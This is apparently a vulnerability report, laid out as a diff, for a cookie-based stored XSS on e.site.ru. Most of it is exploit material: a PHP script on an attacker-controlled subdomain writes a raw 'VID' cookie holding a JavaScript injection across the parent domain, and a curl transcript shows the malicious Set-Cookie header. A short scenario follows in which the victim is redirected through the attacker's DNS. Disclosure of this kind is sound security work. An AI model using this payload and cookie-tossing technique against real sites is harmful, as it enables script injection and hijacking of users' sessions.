nani1337 · July 29, 2019 06:00
diff --git a/Cookie based XSS - exploitation b/Cookie based XSS - exploitation
 Log in to https://e.site.ru/
 Add to / etc / hosts entry: 52.34.103.214 attacker.site.ru
 Open http://attacker.site.ru/ (I added a redirect to the mail there right away)

 cat index.php 
 <?php

 if ($_SERVER['HTTP_HOST'] == 'attacker.site.ru') {
        setrawcookie("VID",'\'+alert(123123123)+\'', time()+36000, "/", ".site.ru",0,1);
 }

 ?>

 <html>
 <head>

 </head>
 </html>


 root@kali:~/tmp$ curl -i 'http://52.34.103.214/' -H 'Host: attacker.site.ru'
 HTTP/1.1 200 OK
 Server: nginx/1.13.8
 Date: Mon, 05 Feb 2018 15:21:20 GMT
 Content-Type: text/html
 Transfer-Encoding: chunked
 Connection: keep-alive
 X-Powered-By: PHP/5.5.9-1ubuntu4.22
 Set-Cookie: VID='+alert(123123123)+'; expires=Tue, 06-Feb-2018 01:21:20 GMT; Max-Age=36000; path=/; domain=.site.ru; httponly
 Access-Control-Allow-Origin: *


 <html>
 <head>

 </head>
 </html>

 The script is:

 The victim is on the attacker's network.
 DNS server of the attacker's network resolvit host attacker.site.ru on its server
 The victim goes to attacker.site.ru (or the attacker automatically redirects it)
 Server attacker.mail.ru overwrites cookie vid
 The victim gets stored xss on e.site.ru